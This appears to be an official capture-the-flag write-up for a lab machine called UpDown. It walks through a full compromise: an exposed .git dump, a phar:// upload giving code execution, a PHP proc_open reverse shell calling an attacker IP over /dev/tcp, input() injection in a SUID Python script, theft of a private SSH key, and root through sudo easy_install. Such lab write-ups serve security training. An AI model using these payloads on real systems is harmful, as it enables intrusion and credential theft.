Up Down

Download as pdf or txt
Download as pdf or txt
You are on page 1of 20

UpDown

15th July 2022 / Document No D22.100.192

Prepared By: woodenk & C4rm3l0

Machine Author(s): AB2

Difficulty: Medium

Classification: Official

Synopsis
UpDown is a medium difficulty Linux machine with SSH and Apache servers exposed. On the Apache server
a web application is featured that allows users to check if a webpage is up. A directory named .git is
identified on the server and can be downloaded to reveal the source code of the dev subdomain running
on the target, which can only be accessed with a special HTTP header. Furthermore, the subdomain allows
files to be uploaded, leading to remote code execution using the phar:// PHP wrapper. The Pivot consists
of injecting code into a SUID Python script and obtaining a shell as the developer user, who may run
easy_install with Sudo , without a password. This can be leveraged by creating a malicious python script
and running easy_install on it, as the elevated privileges are not dropped, allowing us to maintain access
as root .

Skills Required
Web Enumeration
Local Git repository hacking
PHP File Inclusion

Skills Learned
HTTP Header modification
PHP Local File Inclusion Firewall bypass
Exploiting SUID binaries

Enumeration
Nmap
Let's begin by scanning for open ports using Nmap .

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.177 | grep '^[0-9]' | cut -d '/' -f 1 |


tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.177

The Nmap scan reveals that ports 22 (SSH) and 80 (Apache) are open. Let's navigate to port 80 with a
browser to take a look at the website.

HTTP
The web application appears to check whether a given website is up or not. There is a domain name on the
bottom left, which we add to our /etc/hosts file.

echo "10.10.11.177 siteisup.htb" | sudo tee -a /etc/hosts

In order to test the web application's behaviour we point it to itself, using http://127.0.0.1 in the input
field, and enable debug mode.
The application appears to send an HTTP request to the provided URL, and proceeds to display the
response in the debug section.

vHost enumeration
We use Ffuf to fuzz for different vHosts using the following command, in conjunction with a wordlist such
as subdomains-1000.txt

ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w


/usr/share/wordlists/subdomains.txt
The Ffuf output returns a 200 status code for all responses, whether the domain exists or not, meaning
we need to set a filter for non-existent vHosts. We can use the flag -fs 1131 to disregard responses with a
size of 1131 , seeing as that is the size of each of the invalid responses.

ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w


/usr/share/wordlists/subdomains.txt -fs 1131
The fuzzer finds the dev subdomain, which we add to our /etc/hosts file.

echo "10.10.11.177 dev.siteisup.htb" | sudo tee -a /etc/hosts

The output also shows a status code of 403 , meaning we do not currently have access to the subdomain.

Directory enumeration
We will leave this for the moment and do some more enumeration on the initial domain. Let's search for
directories using Gobuster .

gobuster dir -u http://siteisup.htb/ -w /usr/share/wordlists/dirb/common.txt


The output shows that there is a directory named dev , however, when going to said directory it outputs a
blank page. Let's try running Gobuster once more, this time targetting the /dev/ directory.

gobuster dir -u http://siteisup.htb/dev -w /usr/share/wordlists/dirb/common.txt


We can see that a directory with the name .git exists. If a .git folder is exposed, it is sometimes possible
to gather the entirety or a part of a Git repository. We can try this by using git-dumper with the following
command.

git-dumper http://siteisup.htb/dev/.git dev


The tool dumps the target into a directory called dev , containing the repository on which we can now
perform git commands and inspect the files.

Inside we find a couple of interesting files, one of which is .htaccess , which is an Apache configuration file
responsible for redirecting traffic, blocking users, password-protecting directories, and other administrative
functions.

In this case, the file defines a requirement for an HTTP header with the name Special-Dev and the value
only4dev , in order to access the developer site; any requests lacking the aforementioned header are
denied. Armed with this knowledge, we can now try accessing the dev subdomain that initially denied us
access during our enumeration.

Foothold
As stated, we need to add the special HTTP header to gain access to the subdomain. We could do this
manually for every request, but BurpSuite allows us to automate this task by adding an entry in the Proxy
-> Options section, under Match and Replace. We add a new entry, and by leaving the Match field empty, it
will simply add a new header (which we define in the Replace field) to each request.

Doing so allows us access to the developer subdomain, which is a site similar in function and form to the
first website we came across.
As opposed to the initial site, this beta requires a file with a list of websites to check. We can find the source
code of this dev web application in the directory we dumped earlier during the enumeration phase.

Let's start by taking a look at index.php .

<b>This is only for developers</b>


<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>

The source code makes use of the PHP include() function. This function is considered dangerous, as it
can lead to Local File Inclusion, or even Remote Code Execution. There is a filter on the inclusion of
$_GET['page'] , which blocks us from accessing certain directories like /etc and /home . If no page GET
parameter is supplied, the page will include checker.php . Let's take a look at the source code of that page
next.

<...SNIP...>
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];

# Check if extension is allowed.


$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}

# Create directory to upload our file.


$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}

# Upload the file.


$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

# Read the uploaded file.


$websites = explode("\n",file_get_contents($final_path));

foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site)
&& !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up
^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be
down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !
</font></center>";
}
}

# Delete the uploaded file.


@unlink($final_path);
}
</...SNIP...>
When uploading a file, the code first checks whether its size is less than 10kb . It then proceeds to check for
disallowed file extensions, and creates a directory where it stores the uploaded file. Lastly, it loops through
the websites found in the file, checking if they are up, and then deletes the file from the server.

While the logic behind the web application blacklists extensions such as .php and .py , it does not check
for .phar files, which is a package format for bundled PHP files, and can be just as effective as regular PHP
files for remote code execution. From a blue-team perspective, this is why oftentimes it is more secure to
whitelist certain extentions, instead of trying to blacklist all potentially malicious ones.

Let's create a PHP file that calls the phpinfo() function, and save it as info.php .

echo "<?php phpinfo(); ?>" > info.php

Next, we compress it into a file called info.zip , and rename it to info.txt , as the .zip extension is
blacklisted in the above source code. As for why we are compressing the file, we do so to be able to make
use of the phar:// PHP wrapper once the file is uploaded, in order to access the contents of the
compressed archive, namely our phpinfo() payload.

zip info.zip info.php


mv info.zip info.txt

We upload the info.txt file successfully and navigate to http://dev.siteisup.htb/uploads/ , where we


can find a directory which presumably hosts our payload.

This is where we use the phar:// wrapper and trigger our payload by navigating to
http://dev.siteisup.htb/?
page=phar://uploads/f4ffea0fb8f7269a2cca12cd1b266e58/info.txt/info , which successfully shows us
the output of the phpinfo() command.
This means that there is Remote Code Execution, as we can run arbitrary PHP code. Unfortunately, the PHP
info page reveals some functions such as system() , shell_exec() , and popen() to be disabled, meaning
we will have to find a different approach to gain a foothold on the target.

Searching the web for the keywords php , disabled_functions , and bypass leads us to a tool called
dfunc-bypasser, which automatically loops trough an array of so-called dangerous functions that could lead
to a reverse shell, and checks whether any of them are enabled on the target. Before we run the tool, we
need to make sure that it uses the Special-Dev HTTP Header.

On line 38 in the defunct-bypasser.py file, we find the following code:

if(args.url):
url = args.url
phpinfo = requests.get(url).text

We add the header as a parameter, and proceed to run the script.

if(args.url):
url = args.url
phpinfo = requests.get(url, headers={"Special-dev":"only4dev"}).text

python dfunc-bypasser.py --url 'http://dev.siteisup.htb/?


page=phar://uploads/6723be7f59bf9a81d941ecfc3c1bb717/info.txt/info'
The script's output suggests that we might be able to use proc_open to execute commands, as the function
is not disabled by our target. Reading through the PHP documentation, we find out that proc_open is
similar to popen , and can be used in the same fashion to execute arbitrary commands. We proceed to
create a reverse shell payload, using this function.

<?php
$descriptorspec = array(
0 => array('pipe', 'r'), // stdin
1 => array('pipe', 'w'), // stdout
2 => array('pipe', 'a') // stderr
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.10/1337 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
?>

Just like before, we write the above payload to a file called rev.php , compress it using the zip command,
rename it to a whitelisted extension like .txt , and finally upload the file.

zip rev.zip rev.php


mv rev.zip rev.txt

We set up a Netcat listener on port 1337 and execute the script in the same fashion as before, by using
the phar:// wrapper and browsing to the /uploads folder where our file is stored.

nc -lvnp 1337

We successfully receive a shell as the www-data user.

Lateral Movement
After gaining an initial foothold, we take a look around the system. Reading the contents of /etc/passwd ,
we find that there is a user called developer .

cat /etc/passwd | grep -v -e false -e nologin -e sync

Let's try to visit their home directory and list the contents.

cd /home/developer/
ls -l

In the home directory there is a folder named dev , which is owned by the group www-data . Let's enter this
folder and explore what it contains.

cd dev/
ls -l
There are two files in the dev folder; a python script and a setuid executable. When an executable has the
setuid permission set it, will run as the respective owner of the file, in this case developer . The contents
of the Python script are as follows.

import requests

url = input("Enter URL here:")


page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"

The script asks for input for a URL using the built-in input() function. The input() function in Python2 is
known to be insecure, as it acts similar to the eval() function, which allows for executing code as a string.
We can tell that the script is being ran with Python2 , as the print statements don't have parentheses. We
can try exploiting this by using the following input.

__import__('os').system('/bin/bash')

This string imports the os module and uses the system() function to run OS commands. Let's run the
setuid executable and try injecting the payload.

./siteisup
__import__('os').system('/bin/bash')

The payload is executed successfully and we obtain a shell as the developer user. We can read the user's
private SSH key at /home/developer/.ssh/id_rsa and use SSH for a more persistent foothold.

cat /home/developer/.ssh/id_rsa
We paste the key into a file locally, assigning it the correct privileges, and can then use it to connect to the
target.

chmod 600 id_rsa


ssh -i id_rsa [email protected]

Finally, we can find the user flag under /home/developer/user.txt .

Privilege Escalation
When logged in with SSH, we can try running sudo -l to see if the developer user is allowed to run
commands with Sudo privileges.

sudo -l
The output above shows that the developer user may run easy_install , without a password. GTFOBins
is an excellent website where we can search for Linux commands that can be misused in order to gain a
shell, read/write to files, etc. Searching for easy_install shows that it can in fact be abused to spawn a
shell with elevated privileges.

While there are multiple possibilities listed, we are primarily interested in the Sudo section, which states
that when easy_install is ran as the superuser, the elevated privileges are not dropped, allowing us to
maintain access as that user.

The PoC shown above is a sequence of bash commands. Firstly, a temporary directory is created, wherein a
Python script that spawns a /bin/sh shell is subsequently created. Since easy_install is a (deprecated)
Python module which installs Python libraries, the final part of the PoC consists of 'installing' the script we
just created (using sudo ), which will trigger the payload and spawn a shell as root .

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" >
$TF/setup.py
sudo easy_install $TF

Let's try to run the commands from the code block shown above.
We successfully obtained a shell as root . The final flag can be found at /root/root.txt .

You might also like